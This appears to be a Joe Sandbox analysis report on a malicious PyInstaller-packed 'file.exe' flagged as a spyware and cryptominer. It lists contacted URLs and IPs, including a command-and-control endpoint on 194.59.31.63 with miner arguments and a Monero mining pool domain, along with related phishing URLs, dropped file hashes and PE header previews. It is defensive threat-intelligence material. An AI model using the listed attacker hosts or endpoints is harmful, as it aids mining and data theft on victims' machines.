https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	file.exe, 00000001.00000003.1818795531.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2068958906.0000019B665E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065949620.0000019B665E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2076247525.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065786341.0000019B665C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069271637.0000019B68020000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1818104063.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2070123125.0000019B6802E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2083772780.0000019B665EB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069051921.0000019B68011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2084062550.0000019B6803B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070388222.000001DE10639000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070183671.000001DE10639000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070609009.000001DE1062D000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.openssl.org/H	file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2087409443.00007FFDFAFDA000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2089714366.00007FFE0055F000.00000002.00000001.01000000.0000000D.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://peps.python.org/pep-0205/	file.exe, 00000001.00000002.2085087129.0000019B68550000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://194.59.31.63	dwm.exe, 0000001B.00000003.2489310241.00000218DB17A000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://docs.python.org/3/howto/mro.html.	file.exe, 00000001.00000002.2083855720.0000019B67F3C000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070609009.000001DE1062D000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	file.exe, 00000001.00000003.1818795531.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2068958906.0000019B665E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065949620.0000019B665E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2076247525.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065786341.0000019B665C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069271637.0000019B68020000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1818104063.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2070123125.0000019B6802E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2083772780.0000019B665EB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069051921.0000019B68011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2084062550.0000019B6803B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070388222.000001DE10639000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070183671.000001DE10639000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070609009.000001DE1062D000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.python.org/psf/license/)	file.exe, 00000001.00000002.2087672240.00007FFDFB3E2000.00000002.00000001.01000000.00000004.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	file.exe, 00000006.00000003.2070609009.000001DE1062D000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://194.59.31.63/api/endpoint.php--cinit-version=3.3.1--cinit-idle-wait=4--cinit-idle-cpu=30--cin	dwm.exe, 0000001B.00000002.3061575628.00000218DB136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://194.59.31.63X_1	dwm.exe, 0000001B.00000003.2489310241.00000218DB17A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	file.exe, 00000001.00000003.1818795531.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2068958906.0000019B665E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065949620.0000019B665E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2076247525.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065786341.0000019B665C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069271637.0000019B68020000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1818104063.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2070123125.0000019B6802E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2083772780.0000019B665EB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069051921.0000019B68011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2084062550.0000019B6803B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070388222.000001DE10639000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070183671.000001DE10639000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070609009.000001DE1062D000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0263/	file.exe, 00000001.00000002.2087672240.00007FFDFB3E2000.00000002.00000001.01000000.00000004.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.python.org/psf/license/	file.exe, 00000001.00000002.2088043326.00007FFDFB559000.00000008.00000001.01000000.00000004.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
3.80.28.180	unknown	United States	14618	AMAZON-AESUS	false
149.102.143.109	monerooceans.stream	United States	174	COGENT-174US	true
194.59.31.63	unknown	Germany	30823	COMBAHTONcombahtonGmbHDE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1517543
Start date and time:	2024-09-25 03:50:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.spyw.evad.mine.winEXE@46/39@1/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target di.exe, PID 5828 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:51:54	API Interceptor	28x Sleep call for process: powershell.exe modified
21:52:20	API Interceptor	1x Sleep call for process: di.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.102.143.109	MenSncKnTI.exe	Get hash	malicious	Xmrig	Browse
149.102.143.109	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
monerooceans.stream	MenSncKnTI.exe	Get hash	malicious	Xmrig	Browse	149.102.143.109
	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Get hash	malicious	Xmrig	Browse	149.102.143.109
	MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip	Get hash	malicious	Xmrig	Browse	44.196.193.227
	17ae2fbf36a41622374adfd3b1608e08.10.dr	Get hash	malicious	Unknown	Browse	44.224.209.130
	SecuriteInfo.com.Win64.Evo-gen.32403.24162.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	GoogleCrashHandler.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	yljlbesdmoas.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	GoogleCrashHandler.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	GoogleCrashHandler.exe	Get hash	malicious	Xmrig	Browse	44.224.209.130
	vHAgn4Dx00.exe	Get hash	malicious	AveMaria, UACMe, Xmrig	Browse	44.224.209.130

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	http://solanadappsmainnet.pages.dev/	Get hash	malicious	Unknown	Browse	44.208.155.249
	http://my-site-103283-105983.weeblysite.com/	Get hash	malicious	Unknown	Browse	50.19.89.137
	http://mrtamaschrom-eextension.gitbook.io/us	Get hash	malicious	HTMLPhisher	Browse	34.227.128.226
	http://help-metaextension.gitbook.io/us	Get hash	malicious	HTMLPhisher	Browse	52.22.217.18
	https://violationnotice-monitor.vercel.app/	Get hash	malicious	Phisher	Browse	54.211.144.142
	https://ttiktshop.com/	Get hash	malicious	Unknown	Browse	3.5.30.85
	http://conbasewalletextensieon.gitbook.io/us	Get hash	malicious	Unknown	Browse	34.227.128.226
	http://home-metask-chrome.gitbook.io/us	Get hash	malicious	HTMLPhisher	Browse	34.198.161.47
	http://urlz.fr/r4ku	Get hash	malicious	Unknown	Browse	54.209.58.55
	https://down.acting-good.com/	Get hash	malicious	Unknown	Browse	3.5.11.213
COGENT-174US	https://tk.didixia.top/	Get hash	malicious	Unknown	Browse	154.12.92.123
	http://9089357365.com/	Get hash	malicious	Phisher	Browse	38.54.80.161
	https://walletprotocol.vercel.app/	Get hash	malicious	Unknown	Browse	38.175.45.11
	Audio playback00_05-30-00000.html	Get hash	malicious	HTMLPhisher	Browse	143.244.208.184
	https://tk-bussservice.com/www/	Get hash	malicious	Unknown	Browse	154.23.243.177
	https://tk.didixia.top/www/	Get hash	malicious	Unknown	Browse	154.12.92.123
	PO-000001488.exe	Get hash	malicious	FormBook	Browse	38.47.232.144
	notificacion_de_credito__PDF__.exe	Get hash	malicious	FormBook	Browse	206.119.82.134
	SecuriteInfo.com.Linux.Siggen.9999.29695.14613.elf	Get hash	malicious	Unknown	Browse	38.182.55.130
	SecuriteInfo.com.Linux.Siggen.9999.13221.8731.elf	Get hash	malicious	Unknown	Browse	38.51.219.139
COMBAHTONcombahtonGmbHDE	Networking.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.73
	Networking.Application.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.73
	Networking.Application.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.73
	isUqT4vd2F.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	91.200.102.170
	https://webmail_970363039.ozmakrulman.com/841145935cloudstore-955439487?data=annalena.benz@bblaw.com	Get hash	malicious	Unknown	Browse	45.146.255.3
	new.xls	Get hash	malicious	Unknown	Browse	185.239.239.91
	new.xls	Get hash	malicious	Unknown	Browse	185.239.239.91
	new.xls	Get hash	malicious	Unknown	Browse	185.239.239.91
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.27852.7053.rtf	Get hash	malicious	Unknown	Browse	185.239.239.91
	PURCHASE ORDER.xla.xlsx	Get hash	malicious	Remcos	Browse	185.239.239.91

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI42802\VCRUNTIME140.dll	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer	Browse
	run.bat	Get hash	malicious	Unknown	Browse
	cat (2).bat	Get hash	malicious	Unknown	Browse
	f2q2w9rTqd.exe	Get hash	malicious	Python Stealer, CStealer	Browse
	DoomRat.exe	Get hash	malicious	Unknown	Browse
	qIhikjYFSs.exe	Get hash	malicious	Unknown	Browse
	Account_Statement.pdf.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.Evo-gen.15591.2625.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\_MEI42802\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119192
Entropy (8bit):	6.6016214745004635
Encrypted:	false
SSDEEP:	1536:+qvQ1Dj2DkX7OcujarvmdlYNABCmgrP4ddbkZIecbWcFML/UXzlghzdMFw84hzk:+qvQ1D2CreiABCmgYecbWVLUD6h+b4ho
MD5:	BE8DBE2DC77EBE7F88F910C61AEC691A
SHA1:	A19F08BB2B1C1DE5BB61DAF9F2304531321E0E40
SHA-256:	4D292623516F65C80482081E62D5DADB759DC16E851DE5DB24C3CBB57B87DB83
SHA-512:	0DA644472B374F1DA449A06623983D0477405B5229E386ACCADB154B43B8B083EE89F07C3F04D2C0C7501EAD99AD95AECAA5873FF34C5EEB833285B598D5A655
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: run.bat, Detection: malicious, Browse Filename: cat (2).bat, Detection: malicious, Browse Filename: f2q2w9rTqd.exe, Detection: malicious, Browse Filename: DoomRat.exe, Detection: malicious, Browse Filename: qIhikjYFSs.exe, Detection: malicious, Browse Filename: Account_Statement.pdf.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Evo-gen.15591.2625.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../c../c../c._]b./c..W.../c../b./c../c../c...`./c...g./c...f./c...c./c....../c...a./c.Rich./c.........................PE..d.....cW.........." ...&. ...d......................................................-.....`A.........................................e..4...4m...........................O...........N..p............................L..@............0...............................text...&........................... ..`fothk........ ...................... ..`.rdata..\C...0...D...$..............@..@.data...p............h..............@....pdata...............l..............@..@_RDATA...............x..............@..@.rsrc................z..............@..@.reloc...............~..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42802\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	85272
Entropy (8bit):	6.591457260071925
Encrypted:	false
SSDEEP:	1536:+yhz79151BVo1vXfzIFnaR4bO1AsCn8Bsjk+tI1CVQ7Sy4x+R:Nhzx15evXkuxAB8BMk+tI1CVQF
MD5:	DD26ED92888DE9C57660A7AD631BB916
SHA1:	77D479D44D9E04F0A1355569332233459B69A154
SHA-256:	324268786921EC940CBD4B5E2F71DAFD08E578A12E373A715658527E5B211697
SHA-512:	D693367565005C1B87823E781DC5925146512182C8D8A3A2201E712C88DF1C0E66E65ECAEC9AF22037F0A8F8B3FB3F511EA47CFD5774651D71673FAB612D2897
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................b....(......(......(......(......(.....................................................Rich...........PE..d......f.........." ...(.....^...............................................`............`.........................................p...H............@.......0..D......../...P..........T...........................p...@............................................text...#........................... ..`.rdata..P>.......@..................@..@.data........ ......................@....pdata..D....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42802\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125208
Entropy (8bit):	6.138116508461042
Encrypted:	false
SSDEEP:	3072:cXw32spTVYgFoj6N2xE9sb7VRf/EiZBq5syCtYPU9BI1LP885:cgGEOgFoj68ksrf/Ejsa5
MD5:	C8AFA1EBB28828E1115C110313D2A810
SHA1:	1D0D28799A5DBE313B6F4DDFDB7986D2902FA97A
SHA-256:	8978972CF341CCD0EDF8435D63909A739DF7EF29EC7DD57ED5CAB64B342891F0
SHA-512:	4D9F41BD23B62600D1EB097D1578BA656B5E13FD2F31EF74202AA511111969BB8CFC2A8E903DE73BD6E63FADAA59B078714885B8C5B8ECC5C4128FF9D06C1E56
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......f.d."..."..."...+...$....... .......&.......*...........7... ...i...#...i...$.......!..."......7...$...7...#...7...#...7...#...Rich"...........................PE..d....f.........." ...(............`_..............................................\|.....`.........................................p`.......`.........................../......t.......T...............................@............................................text............................... ..`.rdata..hl.......n..................@..@.data...,5.......0...j..............@....pdata..............................@..@.rsrc...............................@..@.reloc..t...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42802\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	257304
Entropy (8bit):	6.565090204799859
Encrypted:	false
SSDEEP:	6144:3uQjqbJrTwvqM+eYx+lDJOAkl9qWM53pLW1AcfRRR6tlISgOg:3sTwvWeS+xJw4ln7g
MD5:	CEA3B419C7CA87140A157629C6DBD299
SHA1:	7DBFF775235B1937B150AE70302B3208833DC9BE
SHA-256:	95B9850E6FB335B235589DD1348E007507C6B28E332C9ABB111F2A0035C358E5
SHA-512:	6E3A6781C0F05BB5182073CCA1E69B6DF55F05FF7CDCEA394BACF50F88605E2241B7387F1D8BA9F40A96832D04F55EDB80003F0CF1E537A26F99408EE9312F5B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V..............'.....g&......g&......g&......g&.......!.................9....!.......!.......!.......!K......!......Rich............PE..d.....f.........." ...(.....<............................................................`..........................................c..P....c...................&......./......T.......T...........................p...@............................................text...9........................... ..`.rdata..(...........................@..@.data...X*.......$...b..............@....pdata...&.......(..................@..@.rsrc...............................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42802\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	66328
Entropy (8bit):	6.227566291152438
Encrypted:	false
SSDEEP:	1536:/9gLpgE4Z27ARZWZnEmoAlI1OIH7SyT0xq:26RZeEmoAlI1OIHth
MD5:	D19CB5CA144AE1FD29B6395B0225CF40
SHA1:	5B9EC6E656261CE179DFCFD5C6A3CFE07C2DFEB4
SHA-256:	F95EC2562A3C70FB1A6E44D72F4223CE3C7A0F0038159D09DCE629F59591D5AA
SHA-512:	9AC3A8A4DBDB09BE3760E7CCB11269F82A47B24C03D10D289BCDDED9A43E57D3CD656F8D060D66B810382ECAC3A62F101F83EA626B58CD0B5A3CCA25B67B1519
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........N@.. ... ... ...... ..k!... ..k#... ..k$... ..k%... ..l!... ...!... ..h!... ...!.Y. ..l-... ..l ... ..l.... ..l"... .Rich.. .........................PE..d......f.........." ...(.V.......... @............................................../.....`.........................................p...P................................/......X...@}..T............................\|..@............p..(............................text....T.......V.................. ..`.rdata...O...p...P...Z..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42802\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	160024
Entropy (8bit):	6.85368707809341
Encrypted:	false
SSDEEP:	3072:lsvkxujgo7e2uONOG+hi+C8znfF9mNooXnmbutI1Z1mb:lnu0o7JUrNYOo2Kz
MD5:	8CFBAFE65D6E38DDE8E2E8006B66BB3E
SHA1:	CB63ADDD102E47C777D55753C00C29C547E2243C
SHA-256:	6D548DB0AB73291F82CF0F4CA9EC0C81460185319C8965E829FAEACAE19444FF
SHA-512:	FA021615D5C080AADCD5B84FD221900054EB763A7AF8638F70CF6CD49BD92773074F1AC6884F3CE1D8A15D59439F554381377FAEE4842ED5BEB13FF3E1B510F4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D.3H%.`H%.`H%.`A]7`L%.`...aJ%.`...aK%.`...a@%.`...aD%.`]..aK%.`.].aJ%.`H%.`-%.`]..ar%.`]..aI%.`].[`I%.`]..aI%.`RichH%.`........................PE..d......f.........." ...(.f..........`8....................................................`......................................... %..L...l%..x....p.......P.......B.../......4.......T...............................@............................................text...be.......f.................. ..`.rdata..............j..............@..@.data...p....@......................@....pdata.......P......."..............@..@.rsrc........p.......6..............@..@.reloc..4............@..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42802\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83736
Entropy (8bit):	6.31969940395018
Encrypted:	false
SSDEEP:	1536:COYhekrkJqlerLSyypHi9/s+S+pzjii/n1IsJqKNBI1Lw9PD7Sy9duxJ:jwkJqHyypHi9/sT+pzjiE1IwdNBI1LwU
MD5:	E43AED7D6A8BCD9DDFC59C2D1A2C4B02
SHA1:	36F367F68FB9868412246725B604B27B5019D747
SHA-256:	2C2A6A6BA360E38F0C2B5A53B4626F833A3111844D95615EBF35BE0E76B1EF7A
SHA-512:	D92E26EB88DB891DE389A464F850A8DA0A39AF8A4D86D9894768CB97182B8351817CE14FE1EB8301B18B80D1D5D8876A48BA66EB7B874C7C3D7B009FCDBC8C4E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../...Nb}.Nb}.Nb}.6.}.Nb}g.c\|.Nb}g.a\|.Nb}g.f\|.Nb}g.g\|.Nb}..c\|.Nb}.Nc}.Nb}.6c\|.Nb}..o\|.Nb}..b\|.Nb}..}.Nb}..`\|.Nb}Rich.Nb}................PE..d......f.........." ...(.x..........0-.......................................`......@.....`.........................................@...P............@.......0.........../...P......P...T...............................@............................................text....v.......x.................. ..`.rdata...x.......z...\|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42802\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	178456
Entropy (8bit):	5.974570300962832
Encrypted:	false
SSDEEP:	3072:ZmkiCZfBmvD1ZLnM2Yfp6XSVJLX2GvMf1ba+VRJNI7IM/H9o/PCrXuI3JtI1C7lD:xiC5QD1dwp6XSxMfjTwJxd
MD5:	6A2B0F8F50B47D05F96DEFF7883C1270
SHA1:	2B1AEB6FE9A12E0D527B042512FC8890EEDB10D8
SHA-256:	68DAD60FF6FB36C88EF1C47D1855517BFE8DE0F5DDEA0F630B65B622A645D53A
SHA-512:	A080190D4E7E1ABB186776AE6E83DAB4B21A77093A88FCA59CE1F63C683F549A28D094818A0EE44186DDEA2095111F1879008C0D631FC4A8D69DD596EF76CA37
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........^..`...`...`......`./ia...`./ic...`./id...`./ie...`..na...`..ja...`...a.u.`...a...`..nm...`..n`...`..n....`..nb...`.Rich..`.........PE..d......f.........." ...(.............,....................................................`.............................................d...D...................P......../......x.......T...........................@...@............................................text............................... ..`.rdata...#.......$..................@..@.data...p...........................@....pdata..P............b..............@..@.rsrc................n..............@..@.reloc..x............x..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1332769
Entropy (8bit):	5.586560217717372
Encrypted:	false
SSDEEP:	12288:VHlJGUqQlLmgBvc+fYNXPh26UZWAzyX7j7YQqPQCxi2hdmSPpHg1d6R1RbtRwv6:VHlJGUDa+zy/7UlZhdmSPNaQHtRwv6
MD5:	48BA559BF70C3EF963F86633530667D6
SHA1:	E3319E3A70590767AD00290230D77158F8F8307E
SHA-256:	F8377AA03B7036E7735E2814452C1759AB7CEEC3F8F8A202B697B4132809CE5E
SHA-512:	567A7BEF4A7C7FF0890708C0E62D2AF748B645C8B9071953873B0DD5AA789C42796860896A6B5E539651DE9A2243338E2A5FB47743C30DFCDE59B1787C4C1871
Malicious:	false
Preview:	PK..........!./gJ.O...O......._collections_abc.pyc......................................Z.....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.............Z...e.d.........Z.d...Z...e.e.........Z.[.g.d...Z.d.Z...e...e.d.................Z...e...e...e.........................Z...e...e.i.j%..........................................Z...e...e.i.j)..........................................Z...e...e.i.j-..........................................Z...e...e.g.................Z...e...e...e.g.........................Z...e...e...e.d.........................Z...e...e...e.d.d.z...........................Z...e...e...e.........................Z...e...e.d.................Z ..e...e.d.................Z!..e...e...e"........................Z#..e.i.j%..................................Z$..e.i.j)..................................Z%..e.i.j-..................................Z&..e.e.jN..........................Z(..e...d...................Z)d...Z..e........Z..e.e........Z+ejY............................[d...Z-..e-........

C:\Users\user\AppData\Local\Temp\_MEI42802\libcrypto-3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5191960
Entropy (8bit):	5.962142634441191
Encrypted:	false
SSDEEP:	98304:n3+pefu6fSar+SJ8aqfPomg1CPwDvt3uFlDCE:3G+u6fb+SJ8aqfwmg1CPwDvt3uFlDCE
MD5:	E547CF6D296A88F5B1C352C116DF7C0C
SHA1:	CAFA14E0367F7C13AD140FD556F10F320A039783
